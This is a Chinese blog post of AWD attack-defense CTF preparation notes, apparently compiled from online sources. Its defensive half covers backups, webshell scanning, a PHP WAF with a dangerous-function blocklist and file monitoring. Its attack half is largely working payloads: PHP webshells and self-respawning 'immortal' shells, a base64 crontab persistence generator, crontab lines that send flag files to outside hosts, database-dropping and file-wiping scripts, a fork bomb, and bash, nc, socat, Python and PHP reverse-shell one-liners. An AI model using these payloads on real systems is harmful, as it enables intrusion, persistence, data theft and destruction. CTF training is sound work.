AWD 赛前准备
本文最后更新于 2022年11月22日 中午
之前从未打过 AWD 的比赛,这次准备时把网上的资料整理了一下
AWD 赛前准备
AWD 规则
- 一般分配Web服务器,服务器某处存在flag,一般为根目录;
- flag 在主办方设定下每隔一段时间会刷新;
- 各队具有初试分数;
- flag 一旦被其他队伍获得,该队扣除一定积分,扣除的积分有获取 flag 的队伍均分;
- 主办方会对每个队伍的服务进行 check,服务器宕机扣除本轮 flag 分数,扣除的分值由 check 正常的队伍均分;
- 一般每个队伍会给予一个低权限用户,而非 root;
线下环境准备
- 比赛前主办方可能提供网络拓扑
- 攻击机、靶机、check 服务器
题目类型
- 语言:多数 php,少数 Java、Python;
- 出题人写的 cms,添加上对应的漏洞点;
- 一些框架漏洞(thinkphp、MVC);
防御
备份
-
目录打包
-
打包
1
tar -zcvf archive_name.tar.gz directory_to_compress
-
备份整站
1
2
3cd /var/www && tar -czvf /tmp/html.tgz html
# 软连接到了/app
cd / && tar -czvf /tmp/app.tgz app
-
-
解包
1
tar -zxvf archive_name.tar.gz
-
-
数据库
-
备份指定的多个数据库
1
mysqldump -uroot -proot --databases DB1 DB2 > /tmp/db.sql
-
无 lock tables 权限的解决方法
1
mysqldump -uroot -proot --all-databases --skip-lock-tables > /tmp/db.sql
-
-
恢复备份(在 MySQL 终端下执行)
1
source FILE_PATH
-
重置 MySQL 密码(在 MySQL 终端下执行)
-
方法 1
1
set password for 用户名@localhost = password("新密码")
-
方法 2
1
mysqladmin -u用户名 -p旧密码 password 新密码
-
-
-
下载到本地
1
scp -P ssh_port user@host_ip:/tmp/bak.sql local_file
基础查杀
-
寻找最近20分钟修改过的文件
1
find /var/www/html -name *.php -mmin -20
-
寻找行数最短的文件:
1
find ./ -name '*.php' | xargs wc -l | sort -u
-
拿到源码后使用D盾查杀——可以找到位置不明显的 webshell
-
Seay 源代码审计系统
-
检查系统安全性:关闭无需开放的端口、检查弱口令、mysql默认密码、是否做了SSH登录限制
-
端口
-
查看端口
- 方法 1
1
2
3
4
5# -n 直接使用IP地址
# -a 所有连线中的Socket
# -p programs 显示正在使用Socket的程序识别码和程序名称
# -t 显示TCP传输协议的连线状况
netstat -napt- 方法 2
1
lsof -i:port
-
杀掉进程
1
kill -9 PID
-
-
SSH 修改密码
1
2# SSH登录后执行
passwd
-
-
修改权限
1
2# 用chattr命令防止系统中某个关键文件被修改:
chattr +i /etc/resolv.conf1
2# 删除file的所有用户的执行权限
chmod -R a-x file -
关键字查杀
1
2
3find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert'
find . -name '*.php' | xargs grep -n 'system()' -
重置web的各种登录密码,但是有被check的风险
修改 curl
- 因为获取 flag 一般是
curl http://xxx.com/flag.txt
1 |
|
漏洞修复
-
基本原则
- 能修复的尽量修复;
- 不能修复的先注释源码,不影响页面显示再删除;
- 站点和对应的功能尽可能不宕机;
-
技巧
- 设置 waf,如
load_file
; - 对于一些成型的 CMS,找到相应版本号后,对其
diff
; - 修改弱口令用户;
- 对于觉得危险函数的地方直接使用
die()
;
- 设置 waf,如
WAF
-
过滤参数,但是过于严格有可能宕机
-
使用方法:
- 在每个文件前加上代码,在
php.ini
中找到auto_prepend_file = waf.php
; - 防护页面加上
require_one('waf.php')
;
1
sudo find /var/www/html/path_you_want -type f -path "*.php" | xargs sed -i "s/<?php /<?php\nrequire_once('\/tmp\/waf.php');\n/g"
- leohearts/awd-watchbird、DasSecurity-HatLab/AoiAWD、sharpleung/CTF-WAF
- 常用 PHP 系统添加 WAF
php 系统 waf 位置 PHPCMS V9 \phpcms\base.php PHPWIND8.7 \data\sql_config.php DEDECMS5.7 \data\common.inc.php DescuzX2 \config\config_global.php DEDECMS5.7 \wp-config.php Meinfov \include\head.php - 在每个文件前加上代码,在
-
如果不能部署 waf,可以配置 apache 禁止 PHP 执行,很可能被 check
1
2
3
4
5
6
7
8
9
10<Directory "/var/www/html/">
Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>
</Directory> -
一个 WAF 的例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间
$time=date("Y-m-d H:i:s");//将时间赋值给变量 $time
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
文件监控
- Shell 监控新增文件,创建文件的时候更改文件创建时间可能监测不到
1 |
|
- Python 监测新增文件:放在
/var/www/
或/var/www/html
下执行这个脚本,它会先备份当前目录下的所有文件,然后监控当前目录,一旦当前目录下的某个文件发生变更,就会自动还原,有新的文件产生就会自动删除。
1 |
|
- Python 监控被修改的文件
1 |
|
删除不死马
-
ps auxww|grep shell.php
找到pid后杀掉进程-
循环杀进程
1
ps aux|grep www-data|awk '{print $2}'|xargs kill
-
-
重启php等web服务
1
service php-fpm restart
-
用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。
-
usleep要低于对方不死马设置的值
-
3.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php';
$code = 'hi springbird !';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
// usleep(5000);
usleep(1000);
}
?>
-
-
创建一个和不死马生成的马一样名字的文件夹
mkdir 1.php
-
循环创建
1
2
3
4
5
6#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh
-
流量分析
-
在比赛服务器上抓取流量包
1
2sudo tcpdump -s 0 -w flow.pcap port 80
# 然后使用 scp 写个脚本实时将流量包拷贝到本地 -
流量分析平台 seadog007/pcap-search
日志分析
- LogForensics 腾讯实验室 /web日志取证分析工具
- 日志地址
- /var/log/apache2/
- /usr/local/apache2/logs
- /usr/nginx/logs/
攻击
主机发现
- nmap、Routescan
- Python 脚本
1 |
|
自动提交flag
-
以i春秋的API接口为例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import requests
import sys
reload(sys)
sys.setdefaultencoding(utf-8)
def post_answer(flag):
url='http://172.16.4.1/Common/submitAnswer'
header = {
'Content-type': r'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttoRequest',
'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64; re:45.0) Gecko/20100101 Firefox/45.0',
'Referer': 'http://172.16.4.102/answer/index'
}
post_data={
'answer': flag.
'token': 'd16ba10b829f4cfae33de641b071ea8a'
}
re=requests.post(url=url,data=post_data,headers=headers)
return re
木马
-
一句话木马
1
<?php @eval($_POST['attack']);?>
-
MD5木马
1
2
3
4<?php
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
@eval($_POST['cmd']);
?>-
再利用header
1
2
3
4
5
6
7
8<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
$test= 'flag';
header("flag:$test");
}
?>
-
-
-
不死马
1
2
3
4
5
6
7
8
9
10
11
12
13<?php
ignore_user_abort(true);//忽略与用户的断开
set_time_limit(0);//设置脚本最大执行时间
unlink(__FILE__);//删除文件本身
$file = '.3.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');//修改时间
usleep(5000);
}
?> -
利用base64和crontab的强不死马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38#!/usr/bin/env python3
import base64
def crontab_reverse(reverse_ip, reverse_port):
crontab_path = "/tmp"
cmd = 'bash -i >& /dev/tcp/%s/%d 0>&1' % (reverse_ip, reverse_port)
crontab_cmd = "* * * * * bash -c '%s'\n" % cmd
encode_crontab_cmd = base64.b64encode(crontab_cmd)
cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp_rev.conf" + " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
return cmd
def crontab_rm(rm_paths='/var/www/html/'):
crontab_path = "/tmp"
cmd = '/bin/rm -rf %s' % rm_paths
crontab_cmd = "* * * * * %s\n" % cmd
encode_crontab_cmd = base64.b64encode(crontab_cmd)
cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp_rm.conf" + " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
return cmd
def crontab_flag_submit(flag_server, flag_port, flag_api, flag_token,
flag_host):
crontab_path = '/tmp'
cmd = '/usr/bin/curl "http://%s:%s/%s" -d "token=%s&flag=$(curl %s)" ' % (
flag_server, flag_port, flag_api, flag_token, flag_host)
crontab_cmd = "* * * * * %s\n" % cmd
encode_crontab_cmd = base64.b64encode(crontab_cmd)
cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp_submit.conf" + " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
return cmd
# cmd = crontab_flag_submit(flag_server='0.0.0.0',
# flag_port='8888',
# flag_api='submit',
# flag_token='bcbe3365e6ac95ea2c0343a2395834dd',
# flag_host='http://192.168.100.1/Getkey')
# print(cmd)
cmd = crontab_reverse('202.204.62.222',6666)
print(cmd)
权限维持
-
crontab
1
2
3# 编辑 crontab:crontab -e
*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
# 查询 crontab:crontab -l -
藏在
.config.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14<?php
set_time_limit(0);
ignore_user_abort(true);
$file = '.conifg.php';
$shell = "<?php echo system("curl 10.0.0.2"); ?>";
while(true){
file_put_contents($file, $shell);
system('chmod 777 .demo.php');
usleep(50);
}
?>
优雅地获取 flag
-
通过 header 头:
在 config.php 中加入:1
header('flag:'.file_get_contents('/tmp/flag'));
则可以访问任何一个页面均可从 header 头中读取 flag。
-
通过 gamebox 提交:
写 crontab 后门,例如:1
*/5 * * * * curl [ip]/flag -d 'flag=$(cat /tmp/flag)' & token=[队伍 token]'
-
文件包含
-
在 404 等难以发现的页面中,直接使用
echo 'cat /f*'
命令。- 更加优雅的方式是用 HTML 标签将其隐藏,然后用正则匹配找出:
1
<input type="hidden" name='<?php echo 'cat /flag';?>' value="Sign In" class="btn btn-primary">
-
利用 copy,在 index.php 中加入如下语句:
1
copy('/flag','/var/www/html/.1.txt')
但是这样会让 flag 被其他队伍获取,所以可以在 index.php 上在加上:
1
2
3if(isset($_GET['url'])){
unlink(.1.txt);
}这样读取 flag 的内容后,立即用 GET 请求,即可删除
.1.txt
. -
另类的 webshell
1
2
3
4
5<?php>
$str="sesa";
$aa=str_shuffle($str).'rt';
@$aa($_GET[1]);
?> -
不复用 shell
1
2
3
4
5url='http://10.10.10.'+str(i)+"/links.html.php"
myshellpath="testawd"+str(i)
passis=md5(myshellpath)
data={passis:'echo file_get_contents("/home/flag")'}
a=requests.post(url=url,data=data)
搅屎
-
无限复制
1
2
3
4
5
6
7
8<?php
set_time_limit(0);
ignore_user_abort(true);
while(1){
file_put_contents(randstr().'.php',file_get_content(__FILE__));
file_get_contents("http://127.0.0.1/");
}
?> -
修改数据库密码
1
2
3
4
5
6update mysql.user set authentication_string=PASSWORD('p4rr0t');# 修改所有用户密码
flush privileges;
UPDATE mysql.user SET User='aaaaaaaaaaaa' WHERE user='root';
flush privileges;
delete from mysql.user ;#删除所有用户
flush privileges; -
重启 apache2 和 nigix
1
2
3
4
5
6#!/usr/bin/env sh
while [[ 1 ]]
do
service apache2 stop
service nginx stop
done & -
循环删除
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
function getfiles($path){
foreach(glob($path) as $afile){
if(is_dir($afile))
getfiles($afile.'/*.php');
else
@file_put_contents($afile,"#Anything#");
//unlink($afile);
}
}
while(1){
getfiles(__DIR__);
sleep(10);
}
?>
<?php
set_time_limit(0);
ignore_user_abort(1);
array_map('unlink', glob("some/dir/*.php"));
?> -
删除数据库
1
2
3
4
5
6
7
8
9#!/usr/bin/env python3
import base64
def rm_db(db_user,my_db_passwd):
cmd = "/usr/bin/mysql -h localhost -u%s %s -e '"%(db_user,my_db_passwd)
db_name = ['performance_schema','mysql','flag']
for db in db_name:
cmd += "drop database %s;"%db
cmd += "'"
return cmd -
fork_bomb
1
2#!/bin/sh
/bin/echo '.() { .|.& } && .' > /tmp/aaa;/bin/bash /tmp/aaa; -
Webshell_Boss.php 蠕虫病毒PlutoaCharon/AWD-Attack-Defense/Webshell_Boss.php
反弹shell
-
最简单
1
bash -c 'bash -i >& /dev/tcp/[ip]/[port] 0>&1'
-
shell
1
2
3
4nc -e /bin/bash 1.3.3.7 4444
bash -c 'bash -i >/dev/tcp/1.3.3.7/4444 0>&1'
zsh -c 'zmodload zsh/net/tcp && ztcp 1.3.3.7 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.3.3.7:4444 -
python
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_REAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
php
1
php -r '$sock=fsockopen("your_ip","4444");exec("/bin/sh -i <&3 >&3 2>&3");'
-
windows
1
nc.exe -e /bin/bash 1.3.3.7 4444
参考资料
- A7enger战队_AWD赛前培训
- admintony/Prepare-for-AWD
- CTF中的AWD套路
- CTF AWD模式攻防Note
- AWD不死马与克制方法
- 蓝帽杯awd总结
- 《从0到1,CTFer成长之路》